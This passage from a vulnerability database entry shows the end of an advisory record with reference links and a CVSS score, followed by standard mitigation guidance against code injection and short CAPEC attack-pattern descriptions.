      "url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/06/24/1"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/108881"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.